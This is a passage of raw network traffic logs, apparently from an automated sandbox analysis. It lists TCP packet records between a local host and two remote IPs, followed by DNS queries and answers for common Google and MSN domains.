Oct 31, 2024 01:18:54.430239916 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430253029 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430253029 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430254936 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430269957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430284977 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430294991 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430305004 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430316925 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430320024 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430335045 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430345058 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430350065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430362940 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430363894 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430380106 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430389881 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430396080 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430401087 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430413008 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430438042 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430469036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430485010 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430509090 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430566072 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430588007 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430593014 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430603981 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430619001 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430634022 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430646896 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430646896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430646896 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430669069 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430675983 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430685997 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430696011 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430701017 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430717945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430725098 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430732012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430747032 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430762053 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430763006 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430773973 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430779934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430785894 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430824041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430830956 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430830956 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430840969 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430855989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430900097 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.430927038 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.430937052 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431026936 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431041956 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431052923 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431093931 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431093931 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431094885 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431109905 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431123972 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431133986 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431233883 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431258917 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431267023 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431281090 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431334019 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431334019 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431338072 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431353092 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431366920 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431391001 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431394100 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431406021 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431416035 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431421041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431436062 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431449890 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431449890 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431462049 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431540966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431562901 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431585073 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431598902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431611061 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431710005 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431718111 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431813002 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431850910 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431873083 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431889057 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431899071 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431904078 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431915045 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431920052 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431932926 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431951046 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431951046 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431969881 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.431982040 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431982040 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.431983948 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432025909 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432025909 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432212114 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432240009 CET	50003	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.432255030 CET	443	50003	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.432284117 CET	50003	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.432291985 CET	443	50003	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.432300091 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432301998 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432324886 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432363987 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432379961 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432391882 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432394981 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432410002 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432419062 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432425976 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432435036 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432441950 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432442904 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432456970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432480097 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432516098 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432534933 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432538986 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432554007 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432562113 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432568073 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432579041 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432584047 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432599068 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432611942 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432611942 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432614088 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432629108 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432640076 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432640076 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432643890 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432660103 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432672024 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432672024 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432683945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432687998 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432698965 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432717085 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432725906 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432725906 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432732105 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432742119 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432748079 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432758093 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432763100 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432789087 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432898998 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.432933092 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432946920 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432961941 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.432986021 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.433032036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.433048010 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.433054924 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.433054924 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.433063030 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.433073997 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.433144093 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.433170080 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.433187962 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.433202982 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.433217049 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.433227062 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.433238029 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.433381081 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.433466911 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.433592081 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.436611891 CET	443	50004	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.436687946 CET	443	50004	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.436755896 CET	50004	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.444315910 CET	50009	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.444329023 CET	443	50009	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.444828987 CET	50009	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.445295095 CET	50009	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.445307016 CET	443	50009	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.449326038 CET	50004	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.449326038 CET	50004	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.449337006 CET	443	50004	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.449345112 CET	443	50004	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.451966047 CET	50010	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.451975107 CET	443	50010	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.452148914 CET	50010	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.452295065 CET	50010	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.452306032 CET	443	50010	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.456852913 CET	443	50005	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.456892014 CET	443	50005	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.456974983 CET	443	50005	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.456994057 CET	50005	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.457186937 CET	50005	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.457186937 CET	50005	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.457382917 CET	50005	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.457397938 CET	443	50005	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.459706068 CET	50011	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.459714890 CET	443	50011	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.459897041 CET	50011	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.460057020 CET	50011	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.460066080 CET	443	50011	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.534972906 CET	443	50006	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.535007954 CET	443	50006	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.535052061 CET	443	50006	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.535083055 CET	50006	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.535109997 CET	50006	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.535625935 CET	50006	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.535625935 CET	50006	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.535633087 CET	443	50006	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.535640001 CET	443	50006	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.539716005 CET	50012	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.539741039 CET	443	50012	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.539799929 CET	50012	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.541244030 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.541275978 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.541290045 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.541304111 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.541321993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.541337967 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.541348934 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.541354895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.541372061 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.541387081 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.541403055 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.541403055 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.541410923 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.541425943 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.541438103 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.541440964 CET	80	49962	185.215.113.206	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 01:18:21.994837999 CET	192.168.2.5	1.1.1.1	0xb5e2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:21.995071888 CET	192.168.2.5	1.1.1.1	0xcc1d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 31, 2024 01:18:26.908377886 CET	192.168.2.5	1.1.1.1	0xf3aa	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:26.908674955 CET	192.168.2.5	1.1.1.1	0x241d	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 31, 2024 01:18:27.911946058 CET	192.168.2.5	1.1.1.1	0xe6db	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:27.912055969 CET	192.168.2.5	1.1.1.1	0xc0c2	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 31, 2024 01:18:36.945003986 CET	192.168.2.5	1.1.1.1	0x5e45	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:36.945472956 CET	192.168.2.5	1.1.1.1	0x87e9	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 31, 2024 01:18:38.315953970 CET	192.168.2.5	1.1.1.1	0xc46c	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:38.316179037 CET	192.168.2.5	1.1.1.1	0x4843	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 31, 2024 01:18:39.756618977 CET	192.168.2.5	1.1.1.1	0x8316	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:39.757055998 CET	192.168.2.5	1.1.1.1	0xfeb3	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 31, 2024 01:18:40.243690968 CET	192.168.2.5	1.1.1.1	0x95b0	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:40.243844986 CET	192.168.2.5	1.1.1.1	0x13d4	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 31, 2024 01:18:40.260675907 CET	192.168.2.5	1.1.1.1	0x8938	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:40.261584997 CET	192.168.2.5	1.1.1.1	0x44b	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 31, 2024 01:18:40.273744106 CET	192.168.2.5	1.1.1.1	0x419d	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:40.273992062 CET	192.168.2.5	1.1.1.1	0x5511	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Oct 31, 2024 01:18:40.279515982 CET	192.168.2.5	1.1.1.1	0xd373	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:40.279695034 CET	192.168.2.5	1.1.1.1	0xc090	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 31, 2024 01:18:41.743138075 CET	192.168.2.5	1.1.1.1	0xf5a9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:41.743434906 CET	192.168.2.5	1.1.1.1	0xe999	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 31, 2024 01:18:41.744322062 CET	192.168.2.5	1.1.1.1	0x28a8	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:41.745014906 CET	192.168.2.5	1.1.1.1	0xe394	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 31, 2024 01:18:41.756274939 CET	192.168.2.5	1.1.1.1	0x6b51	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:41.757065058 CET	192.168.2.5	1.1.1.1	0x8fba	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 01:18:22.001816034 CET	1.1.1.1	192.168.2.5	0xb5e2	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:22.001837015 CET	1.1.1.1	192.168.2.5	0xcc1d	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 31, 2024 01:18:26.914896965 CET	1.1.1.1	192.168.2.5	0xf3aa	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:26.914896965 CET	1.1.1.1	192.168.2.5	0xf3aa	No error (0)	plus.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:26.915661097 CET	1.1.1.1	192.168.2.5	0x241d	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:27.918687105 CET	1.1.1.1	192.168.2.5	0xe6db	No error (0)	play.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:36.952081919 CET	1.1.1.1	192.168.2.5	0x5e45	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:36.952734947 CET	1.1.1.1	192.168.2.5	0x87e9	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:37.064308882 CET	1.1.1.1	192.168.2.5	0x73b9	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:37.064308882 CET	1.1.1.1	192.168.2.5	0x73b9	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:37.064357996 CET	1.1.1.1	192.168.2.5	0x6540	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:38.322880030 CET	1.1.1.1	192.168.2.5	0xc46c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:38.323365927 CET	1.1.1.1	192.168.2.5	0x4843	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:39.763223886 CET	1.1.1.1	192.168.2.5	0x8316	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:39.763223886 CET	1.1.1.1	192.168.2.5	0x8316	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.65	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:39.777728081 CET	1.1.1.1	192.168.2.5	0xfeb3	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:40.250499010 CET	1.1.1.1	192.168.2.5	0x95b0	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:40.250499010 CET	1.1.1.1	192.168.2.5	0x95b0	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:40.250499010 CET	1.1.1.1	192.168.2.5	0x95b0	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:40.250499010 CET	1.1.1.1	192.168.2.5	0x95b0	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Oct 31, 2024 01:18:40.267461061 CET	1.1.1.1	192.168.2.5	0x8938	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:40.268625021 CET	1.1.1.1	192.168.2.5	0x44b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:40.280745029 CET	1.1.1.1	192.168.2.5	0x419d	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:40.281243086 CET	1.1.1.1	192.168.2.5	0x5511	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 01:18:40.286448956 CET	1.1.1.1	192.168.2.5	0xd373	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
